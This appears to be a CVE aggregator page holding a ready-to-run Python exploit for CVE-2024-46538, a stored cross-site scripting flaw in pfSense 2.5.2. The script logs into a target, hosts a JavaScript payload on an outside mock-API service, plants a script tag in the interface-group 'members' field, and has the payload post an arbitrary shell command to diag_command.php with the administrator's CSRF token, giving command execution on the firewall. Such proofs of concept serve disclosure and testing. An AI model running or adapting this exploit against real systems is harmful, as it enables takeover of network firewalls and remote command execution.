4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-46538.py PY
import re
from faker import Faker
import random
import string
import uuid
import requests
import time
import sys
import rich_click as click

# Turn off the InsecureRequestWarning
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# Banner
banner = """
                             .+@%%%@-                                                                        
                         .:%%=::::::@.                                                                       
                .-*@@@@%+-::=%@%+--:@.                                                                       
            :#@*-..#%-:::::::::+@:=%@@%@@%=                                                                  
         -@#:....:@-::::::::::::=@....=@#--@                                                                 
      .%#:.......:-:*%%%%%*-::::-@.......=@@.                                                                
     ##.....................-*%@%=.........-@:                                                               
   .@:.......................................#*                                                              
  -@..........................................+#      .:-----::..         .::..                              
 :@............................................+#   *@@@@@@@@@@@@@%   -%@@@@@@@@@@%-    *%@@@@@@@@%#.        
.@:.............................................%-  %@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@- *@@@@@@@@@@@@@@-       
=#..............................................-@  %@@@@@@@@@@@@@@:-@@@@@@@@@@@@@@@-:@@@@@@@@@@@@@@@+       
#=...............................................@   .-=+++++%@@@@@:+@@@@:    -@@@@@--@@@@*....=@@@@@+       
@:...............................................@      .   .%@@@@@:+@@@@:    =@@@@@-=@@@@-    :@@@@@+       
@:...+@%*:..................:=#@+................@  *@@@@@@@@@@@@@@ +@@@@%::::%@@@@@-=@@@@*    *@@@@@+       
%-...............................................@  @@@@@@@@@@@@@@= +@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@+       
=#....+%@%+.................=#%%*-..............-@ .@@@@@@@@@@@@%:   %@@@@@@@@@@@@@@:.%@@@@@@@@@@@@@@=       
.@...%   .@@:.............+%    %@@:............#= .@@@@@.             -*%%@@@@@@@@@:  =%@@@@@@@@@@@@-       
 :@.-=   -+@+............:@.    *%@%...........=#  .@@@@@@@@@@@@@@*           %@@@@@.         .@@@@@@:       
  -@.=@@@%+#...=@%@@-.....:@@@@@  @:..........+%    @@@@@@@@@@@@@@@           @@@@@@          .@@@@@@.       
   :@-:::::....-++=+:#:.....:=++=:...........**     #@@@@@@@@@@@@@%           %@@@@#          .@@@@@#        
     %#::::.................:::::::........:@:        =%@@@@@@@@@%            #@@@@:           #@@@@+        
      .%#-::................:::::::......=@=                                                                 
         -@%:...........::..::::::::..=@#                                                                    
            @+@@%++*@#@+-:-+@*--=#%@*=**                                                                     
           %-:#.....%=........@=......:@                                                                     
           *+.......%-.............+#..@                                                                     
            @=......-@:......:%@%*#@@:.@#                                                                    
             -@%**#@+:%@*+@#+%...::..@.@-*%                                                                  
            :@.......%=.....@-..:@::%+.:::-@                                                                 
            %-......=#......%-..::--:...:::@.                                                                
            #+......:@......:@-::::::....:+%                                                                 
          -=+@=......+#.......%%-::::...-@*.                                                                 
       -+-::::+@@@@@@@=%@@@@@@@@@@@@@@@#-::-+:      Author: EQST(Experts, Qualified Security Team)                                                          
       .=++=-:::::::::::::--===+++++++++++++-       Github: https://github.com/EQSTLab/CVE-2024-46538                                                         
              .:--====--:.                                                                                   
                                                                                                             
Analysis base : https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

=============================================================================================================    

CVE-2024-46538 : PfSense XSS Vulnerability
description: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php.

=============================================================================================================               
"""

class PfExploit:

    def __init__(self, id: str, pw: str, js: str, url: str, cmd: str):
        self.loginId = id
        self.loginPw = pw
        self.url = url
        self.cmd = cmd
        self.jsId = None
        self.jsUrl = js
        self.jsSecret = None
        self.fake = Faker()

    def greeting() -> None:
        print(banner)
        
    def spinner(duration=10, interval=0.1):
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def add_protocol(self, url: str) -> str:
        if not url.startswith(('http://', 'https://')):
            return 'https://' + url
        return url

    def getJS(self) -> None:
        # Used api mocky to make callback
        url = "https://api.mocky.io/api/mock"
        cmd = self.cmd
        
        characters = string.ascii_letters # ascii letters to make random (Case sensitive)
        secretRandom = ''.join(random.choice(characters) for _ in range(36))

        body = {
                "status":200,
                "content":'var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "' + cmd + '");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})',
                "content_type":"application/javascript",
                "charset":"UTF-8",
                "secret":f"{secretRandom}",
                "expiration":"never"
                }

        response = requests.post(url, json=body, verify=False)
        data = response.json()
        self.jsId = data.get('id')
        self.jsSecret = data.get('secret')
        self.jsUrl = f"{data.get('link')}/{str(uuid.uuid4())}.js"

    def deleteJS(self) -> None:
        url = f"https://api.mocky.io/api/mock/{self.jsId}"
        body = {"id":f"{self.jsId}","secret":f"{self.jsSecret}"}
        requests.delete(url, json=body, verify=False)
        
    def getCSRFToken(self, url, cookies="") -> str:
        url = f"{url}"
        response = requests.get(url, verify=False, cookies=cookies)
        match = re.search(r"<input type='hidden' name='__csrf_magic' value=\"([^\"]+)\"", response.text)
        if match:
            token = match.group(1).strip()
            return token
        else:
            print("[-] Failed to find login csrf token...")
            exit(1)

    def getSession(self) -> str:
        # Get login csrf token
        url = f"{self.add_protocol(self.url)}/index.php"
        token = self.getCSRFToken(url)
        response = requests.get(url, verify=False)
        match = re.search(r"<input type='hidden' name='__csrf_magic' value=\"([^\"]+)\"", response.text)
        if match:
            token = match.group(1).strip()
        else:
            print("[-] Failed to find login csrf token...")
            exit(1)
        # Get session id
        url = f"{self.add_protocol(self.url)}/index.php"
        datas = {
            '__csrf_magic':token,
            'usernamefld':self.loginId,
            'passwordfld':self.loginPw,
            'login':'Sign In'
        }
        response = requests.post(url, data=datas, verify=False, allow_redirects=False)
        if response.status_code == 302:
            sessid = response.cookies.get('PHPSESSID')
            print(f"[+] SESSIONID: {sessid}")
            return sessid
        else:
            print(f"[-] Login Failed...")
            exit(1)

    def storeScript(self) -> None:
        # Get csrf token
        url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
        sessid = self.getSession()
        cookies = {
            'PHPSESSID': sessid
        }
        token = self.getCSRFToken(url, cookies=cookies)
        # Stored XSS Attack
        url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
        datas = {
            '__csrf_magic':token,
            'ifname': self.fake.last_name(),
            'descr':'EQST_Lab_Pfsense_test',
            'members[]': f'<script/src="{self.jsUrl}"></script>wan',
            'save':'%E4%BF%9D%E5%AD%98'
        }
        response = requests.post(url, data=datas, cookies=cookies, verify=False, allow_redirects=False)
        if response.status_code == 302:
            print(f"[+] Done! Login Admin and check: \n{self.add_protocol(self.url)}/interfaces_groups.php")
            return sessid
        else:
            print(f"[-] Attack Failed...")
            exit(1)

# argument parsing with rich_click
@click.command()
@click.option(
    "-i",
    "--id",
    required=True,
    help="Specify a id to login",
)
@click.option(
    "-p",
    "--pw",
    required=True,
    help="Specify a password to login",
)
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a URL or domain for vulnerability detection",
)
@click.option(
    "-c",
    "--cmd",
    default="id",
    help="Specify the command to execute",
)
@click.option(
    "-j",
    "--js",
    default="",
    help="[Optional] Specify a Callback javascript URL"
)

def main(id: str, pw: str, js: str, url: str, cmd: str) -> None:
    cve_exploit = PfExploit(id, pw, js, url, cmd)
    PfExploit.greeting()
    PfExploit.spinner(duration=1)
    # If js Url not exists
    if cve_exploit.jsUrl == "":
        cve_exploit.getJS()
    cve_exploit.storeScript()

if __name__ == "__main__":
    main()